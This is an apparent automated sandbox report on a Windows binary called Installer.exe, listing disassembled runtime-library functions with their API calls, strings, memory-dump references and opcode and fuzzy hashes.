Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_
String ID:
API String ID: 593203224-0
Opcode ID: 6367108485c3dc81bd2310fd47694b719e174e87bc9f12660203b87da18a968c
Instruction ID: 368d973501749918024692db23e5f4060138b3bb412c735fd32ff84e6c6b3001
Opcode Fuzzy Hash: 6367108485c3dc81bd2310fd47694b719e174e87bc9f12660203b87da18a968c
Instruction Fuzzy Hash: C0416871D006188FCF26DF98D884BADBBF4FB49320F054269E8196B391DB34A984CF91

Function 00361DC6 Relevance: 6.1, APIs: 4, Instructions: 82COMMON

Download Yara Rule

APIs

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

GetLastError.KERNEL32 ref: 00361E2A
__dosmaperr.LIBCMT ref: 00361E31
GetLastError.KERNEL32 ref: 00361E6B
__dosmaperr.LIBCMT ref: 00361E72

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ErrorLast__dosmaperr$ByteCharMultiWide
String ID:
API String ID: 1913693674-0
Opcode ID: ce684bc72ebb304fb26ba5765474dfb17e334713aced38d55cc750e42b650e68
Instruction ID: 8bc2f35ff8a21187aeb032a5b14694d32dc86620d7e99aba21bb7ce4c20332d3
Opcode Fuzzy Hash: ce684bc72ebb304fb26ba5765474dfb17e334713aced38d55cc750e42b650e68
Instruction Fuzzy Hash: 5421F231600605AFDB23AF65D881C3BB7ACFF04365B19C518FC199B111D732EC008BA0

Function 00352BA2 Relevance: 6.1, APIs: 4, Instructions: 79COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 07f222de374cc442ee781565bdd4b8c8d9b13cea11c8fcad1fd30304ebdcffa6
Instruction ID: 23f9d25a1c83684b93f08ca119a268316203ad9f59aafdab98bf130b82a09aec
Opcode Fuzzy Hash: 07f222de374cc442ee781565bdd4b8c8d9b13cea11c8fcad1fd30304ebdcffa6
Instruction Fuzzy Hash: D3219F71204605AF9B23AF69DC81D6B77ACFF42366B114515FC559B272EB30EC4887A0

Function 003631BE Relevance: 6.1, APIs: 4, Instructions: 74COMMON

Download Yara Rule

APIs

GetEnvironmentStringsW.KERNEL32 ref: 003631C6

Part of subcall function 0035C021: WideCharToMultiByte.KERNEL32(?,00000000,00000000,00000000,?,-00000008,?,00000000,-00000008,-00000008,00000000,?,0035D895,?,00000000,-00000008), ref: 0035C082

FreeEnvironmentStringsW.KERNEL32(00000000), ref: 003631FE
FreeEnvironmentStringsW.KERNEL32(00000000), ref: 0036321E

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: EnvironmentStrings$Free$ByteCharMultiWide
String ID:
API String ID: 158306478-0
Opcode ID: 7d64e2f76a28920d1a836205cdc276df5c95e8d1c9466a43e4e18937aaaef297
Instruction ID: 072fb815d42100d20cf2fd9bf15f58411994e76d108df96f26c62e3d25d94826
Opcode Fuzzy Hash: 7d64e2f76a28920d1a836205cdc276df5c95e8d1c9466a43e4e18937aaaef297
Instruction Fuzzy Hash: 951122B150061A7EE72327B1EC9ACBFBA5CDE843A57114828FA05DA101FF60DF0481B0

Function 0034E892 Relevance: 6.1, APIs: 4, Instructions: 60COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 0034E899
std::_Lockit::_Lockit.LIBCPMT ref: 0034E8A3
int.LIBCPMT ref: 0034E8BA

Part of subcall function 0034C1E5: std::_Lockit::_Lockit.LIBCPMT ref: 0034C1F6
Part of subcall function 0034C1E5: std::_Lockit::~_Lockit.LIBCPMT ref: 0034C210

std::_Lockit::~_Lockit.LIBCPMT ref: 0034E914

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: Lockitstd::_$Lockit::_Lockit::~_$H_prolog3
String ID:
API String ID: 1383202999-0
Opcode ID: 5533519127dc2bf48ce8709f26e255506314c73d5bd072606defbc22f5b16ce2
Instruction ID: 707bf230c73dbc605cbf6ad098ca5aea5a6bf16c5e4d068d79ad36078ed7420b
Opcode Fuzzy Hash: 5533519127dc2bf48ce8709f26e255506314c73d5bd072606defbc22f5b16ce2
Instruction Fuzzy Hash: 0211CE368002199BCB07EBA4C945AADBBE5BF84720F254108E415AF282CF74BA40CB81

Function 0036ADA0 Relevance: 6.0, APIs: 4, Instructions: 29COMMONLIBRARYCODE

Download Yara Rule

APIs

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,00000000,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000), ref: 0036ADB7
GetLastError.KERNEL32(?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?,?,?,00363CD6,00000000), ref: 0036ADC3

Part of subcall function 0036AE20: CloseHandle.KERNEL32(FFFFFFFE,0036ADD3,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?,?), ref: 0036AE30

___initconout.LIBCMT ref: 0036ADD3

Part of subcall function 0036ADF5: CreateFileW.KERNEL32(CONOUT$,40000000,00000003,00000000,00000003,00000000,00000000,0036AD91,0036A2DC,?,?,00364390,?,00000000,00000000,?), ref: 0036AE08

WriteConsoleW.KERNEL32(00000000,?,00000000,00000000,?,0036A2EF,00000000,00000001,00000000,?,?,00364390,?,00000000,00000000,?), ref: 0036ADE8

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ConsoleWrite$CloseCreateErrorFileHandleLast___initconout
String ID:
API String ID: 2744216297-0
Opcode ID: 67e58375ea87ec9d6a1b856cbfe6b341d7bf536f0b3f4bd010d1d99a6644f5bd
Instruction ID: 9109f6c398f9937bbdc916606d65ec4a747ac4cdccb0c86be9f68c66c1adea69
Opcode Fuzzy Hash: 67e58375ea87ec9d6a1b856cbfe6b341d7bf536f0b3f4bd010d1d99a6644f5bd
Instruction Fuzzy Hash: 78F01C36510519BBCF331FD5DC29A9A3F2AFF087A1F018011FA0CA6521DB328CA0AF91

Function 003504F5 Relevance: 6.0, APIs: 4, Instructions: 25timethreadCOMMONLIBRARYCODE

Download Yara Rule

APIs

GetSystemTimeAsFileTime.KERNEL32(?), ref: 00350507
GetCurrentThreadId.KERNEL32 ref: 00350516
GetCurrentProcessId.KERNEL32 ref: 0035051F
QueryPerformanceCounter.KERNEL32(?), ref: 0035052C

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: CurrentTime$CounterFilePerformanceProcessQuerySystemThread
String ID:
API String ID: 2933794660-0
Opcode ID: 3739b4fd72965dfd99f0d456f10d44e9517a5158b9999bca39628581159b863b
Instruction ID: 9fb4e24d89b50e4c71a22ad4bef1a8743c99a75cd5a61e0592cc5a6efbf2cd4f
Opcode Fuzzy Hash: 3739b4fd72965dfd99f0d456f10d44e9517a5158b9999bca39628581159b863b
Instruction Fuzzy Hash: 55F05F74D1060DEBCB11DBB4DA5999EBBF8FF1C300F914995A416E6110EA30AA849F50

Function 0035B992 Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 120COMMONLIBRARYCODE

Download Yara Rule

APIs

EncodePointer.KERNEL32(00000000,00000000,00000000,?,?,?,?,?,?,0035B893,?,?,00000000,00000000,00000000,?), ref: 0035B9B7

Strings

RCC, xrefs: 0035B9D1
MOC, xrefs: 0035B9C9

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: EncodePointer
String ID: MOC$RCC
API String ID: 2118026453-2084237596
Opcode ID: 300bda08f8dab3499a93a391b771091bf9b658931e0c00da274dd551b825a908
Instruction ID: b5af09d52566c6b8535ea93e5b8d7e0310d59ab860fdef90cee510f8ff9d0ecf
Opcode Fuzzy Hash: 300bda08f8dab3499a93a391b771091bf9b658931e0c00da274dd551b825a908
Instruction Fuzzy Hash: 88415931900249EFCF16DF94CC81EAEBBB5BF48301F198159FD14AB221D3359954DB91

Function 0035B1FE Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 97COMMONLIBRARYCODE

Download Yara Rule

APIs

___except_validate_context_record.LIBVCRUNTIME ref: 0035B475

Strings

csm, xrefs: 0035B497
csm, xrefs: 0035B508

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ___except_validate_context_record
String ID: csm$csm
API String ID: 3493665558-3733052814
Opcode ID: 24f9bf80e67f899bdd3fe89874e0514ca63e5e081952399bf73781b5ba30c68c
Instruction ID: bd95583374b4524900fbd54f8e52f8a5132a8e9b86138774bdf70f5e8668abf4
Opcode Fuzzy Hash: 24f9bf80e67f899bdd3fe89874e0514ca63e5e081952399bf73781b5ba30c68c
Instruction Fuzzy Hash: 6B31B4B1400219EBCF2B9F51C840CAAFB66FF0A316B194A5AFD4449132D332DD69DBC1

Function 0034B831 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 73COMMON

Download Yara Rule

APIs

__alloca_probe_16.LIBCMT ref: 0034B8B9
RaiseException.KERNEL32(?,?,?,?,?), ref: 0034B8DE

Part of subcall function 0035060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0034F354,03383FB8,?,?,?,0034F354,00343D4A,0037759C,00343D4A), ref: 0035066D

Part of subcall function 00358353: IsProcessorFeaturePresent.KERNEL32(00000017,0035C224), ref: 0035836F

Strings

csm, xrefs: 0034B86D

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionRaise$FeaturePresentProcessor__alloca_probe_16
String ID: csm
API String ID: 1924019822-1018135373
Opcode ID: 1efde886dd8fe6b0c50067b2894e63f5b14044107227fde69f2e4f2a3e44db4a
Instruction ID: 6fd867c1edb22f4dfcf11d0c4d9ec3cabdf6f637751b9cb28c5d870b53d0067e
Opcode Fuzzy Hash: 1efde886dd8fe6b0c50067b2894e63f5b14044107227fde69f2e4f2a3e44db4a
Instruction Fuzzy Hash: 28212332E00258ABCF269F99D845AAEF7F9AF44710F1A0419E906AF251CB74FD458B81

Function 0034B46C Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 59COMMONLIBRARYCODE

Download Yara Rule

APIs

___std_exception_copy.LIBVCRUNTIME ref: 00342673

Strings

bad array new length, xrefs: 00342626
ios_base::badbit set, xrefs: 00342650

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 2659868963-1158432155
Opcode ID: 66bb4888f5b7bc7a29bae4c50870ed2daf896f8466fe31295beb6ff27b1124d0
Instruction ID: 7575760331b262d4d5252574687621eab1024c7ca8812d132648d09d717308a2
Opcode Fuzzy Hash: 66bb4888f5b7bc7a29bae4c50870ed2daf896f8466fe31295beb6ff27b1124d0
Instruction Fuzzy Hash: D10171F1614301ABDB159F28D855A5BBBE8DF08318F11881CF45D9F351D379E858CB81

Function 00342610 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 41COMMONLIBRARYCODE

Download Yara Rule

APIs

Part of subcall function 0035060C: RaiseException.KERNEL32(E06D7363,00000001,00000003,0034F354,03383FB8,?,?,?,0034F354,00343D4A,0037759C,00343D4A), ref: 0035066D

___std_exception_copy.LIBVCRUNTIME ref: 00342673

Strings

bad array new length, xrefs: 00342626
ios_base::badbit set, xrefs: 00342650

Memory Dump Source

Source File: 00000000.00000002.1672708420.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000000.00000002.1672696127.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672726152.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672739230.000000000037A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672750713.000000000037B000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672763497.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672774226.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1672798149.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_340000_Installer.jbxd

Similarity

API ID: ExceptionRaise___std_exception_copy
String ID: bad array new length$ios_base::badbit set
API String ID: 3109751735-1158432155
Opcode ID: 6a17d9b0a23b0cb2beae78c6f2b30fcd8ebba35efc8af4e481d163d882be38f1
Instruction ID: 9cea460e9543a65c50e711778be0718b2a77089908f449da2b5c7e84535b5cae
Opcode Fuzzy Hash: 6a17d9b0a23b0cb2beae78c6f2b30fcd8ebba35efc8af4e481d163d882be38f1
Instruction Fuzzy Hash: 00F0F8F5A14300ABD715AF18D945B47BBE4EB49719F01C81CF9989B310D3B9D458CB92

Analysis Process: Installer.exePID: 7480, Parent PID: 7424COMMON

Non-executed Functions

Function 00361287 Relevance: 10.7, APIs: 5, Strings: 1, Instructions: 182COMMON

Download Yara Rule

APIs

Part of subcall function 0035C16A: GetLastError.KERNEL32(00000000,?,0035E58D), ref: 0035C16E
Part of subcall function 0035C16A: SetLastError.KERNEL32(00000000,?,?,00000028,00358363), ref: 0035C210

GetUserDefaultLCID.KERNEL32(-00000002,00000000,?,00000055,?), ref: 0036138F
IsValidCodePage.KERNEL32(00000000), ref: 003613CD
IsValidLocale.KERNEL32(?,00000001), ref: 003613E0
GetLocaleInfoW.KERNEL32(?,00001001,-00000050,00000040,?,000000D0,00000055,00000000,?,?,00000055,00000000), ref: 00361428
GetLocaleInfoW.KERNEL32(?,00001002,00000030,00000040), ref: 00361443

Strings

,K7, xrefs: 0036133C

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: Locale$ErrorInfoLastValid$CodeDefaultPageUser
String ID: ,K7
API String ID: 415426439-1697011031
Opcode ID: cc8ed280dc08685d19b91772408b240f643a98487a1a2a6f58784d3f8b840459
Instruction ID: c32a4522b7336582df8ba3b5243482cd12176ad5297fe9fc78d10fb8d6e83ebd
Opcode Fuzzy Hash: cc8ed280dc08685d19b91772408b240f643a98487a1a2a6f58784d3f8b840459
Instruction Fuzzy Hash: 44517072A10605AFDB23DFA5CC45EBE77B8EF05700F198469F905EB194EB709A44CB60

Function 00361A07 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 85COMMON

Download Yara Rule

APIs

GetLocaleInfoW.KERNEL32(?,2000000B,003613BD,00000002,00000000,?,?,?,003613BD,?,00000000), ref: 00361AA0
GetLocaleInfoW.KERNEL32(?,20001004,003613BD,00000002,00000000,?,?,?,003613BD,?,00000000), ref: 00361AC9
GetACP.KERNEL32(?,?,003613BD,?,00000000), ref: 00361ADE

Strings

ACP, xrefs: 00361A25
OCP, xrefs: 00361A5B

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: InfoLocale
String ID: ACP$OCP
API String ID: 2299586839-711371036
Opcode ID: ad050d7c7e22fa45425f15a238b0fc6c58c8b1216243c944c4516d9fb28e9408
Instruction ID: 2ea98b674b87bdf1db4fa5ce46ef860c48b9a2afc83c2a117bc9dacec4f631cf
Opcode Fuzzy Hash: ad050d7c7e22fa45425f15a238b0fc6c58c8b1216243c944c4516d9fb28e9408
Instruction Fuzzy Hash: 84218622B02101ABD737CFE5C901A9772BAEB54B54B5FC564E90ADB20CE732DD40D350

Function 00341FB0 Relevance: 7.7, APIs: 5, Instructions: 200fileCOMMON

Download Yara Rule

APIs

Part of subcall function 00341240: _strlen.LIBCMT ref: 003412BA

GetFileSize.KERNEL32(00000000,00000000), ref: 00342046
ReadFile.KERNEL32(00000000,00000000,00000000,?,00000000), ref: 0034206B
CloseHandle.KERNEL32(00000000), ref: 0034207A
_strlen.LIBCMT ref: 003420CD
CloseHandle.KERNEL32(00000000), ref: 003421FD

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID: CloseFileHandle_strlen$ReadSize
String ID:
API String ID: 1490117831-0
Opcode ID: bdd66fb108b55ba99c41e22f0f32ae93551cbf00bc5057087eee6b02b528882d
Instruction ID: b9aa5d24326e26988dc5b3429dede176647a62f2cdeb772af169db629587cc50
Opcode Fuzzy Hash: bdd66fb108b55ba99c41e22f0f32ae93551cbf00bc5057087eee6b02b528882d
Instruction Fuzzy Hash: 5471D0B2C006089BCB12DFA4DC45BAEBBF5BF48314F150629F814BB391E775A945CBA1

Function 00359CC0 Relevance: 6.5, APIs: 4, Instructions: 455COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672261980.000000000037F000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672277687.0000000000382000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672310909.00000000003CF000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_340000_Installer.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction ID: ca032691a71f72c14cc1531e28e5ac15cbca6907ad26b225a267cf54a867a23a
Opcode Fuzzy Hash: 3bc9877c2baeb9d2eefe3dc346bd414728ba2a6b644d6a7f2363c8b83004931b
Instruction Fuzzy Hash: A4024D71E006199BDF15CFA8C880BAEBBF1FF48315F25826AD915E7390D731AA05CB90

Function 00361FE9 Relevance: 6.2, APIs: 4, Instructions: 205COMMON

Download Yara Rule

APIs

FindFirstFileExW.KERNEL32(?,00000000,?,00000000,00000000,00000000,00000000,00000000,00000000), ref: 003620D9

Memory Dump Source

Source File: 00000002.00000002.1672203636.0000000000341000.00000020.00000001.01000000.00000003.sdmp, Offset: 00340000, based on PE: true

Associated: 00000002.00000002.1672186710.0000000000340000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672230663.000000000036D000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000002.00000002.1672246423.000000000037A000.00000008.00000001.01000000.00000003.sdmpDownload File
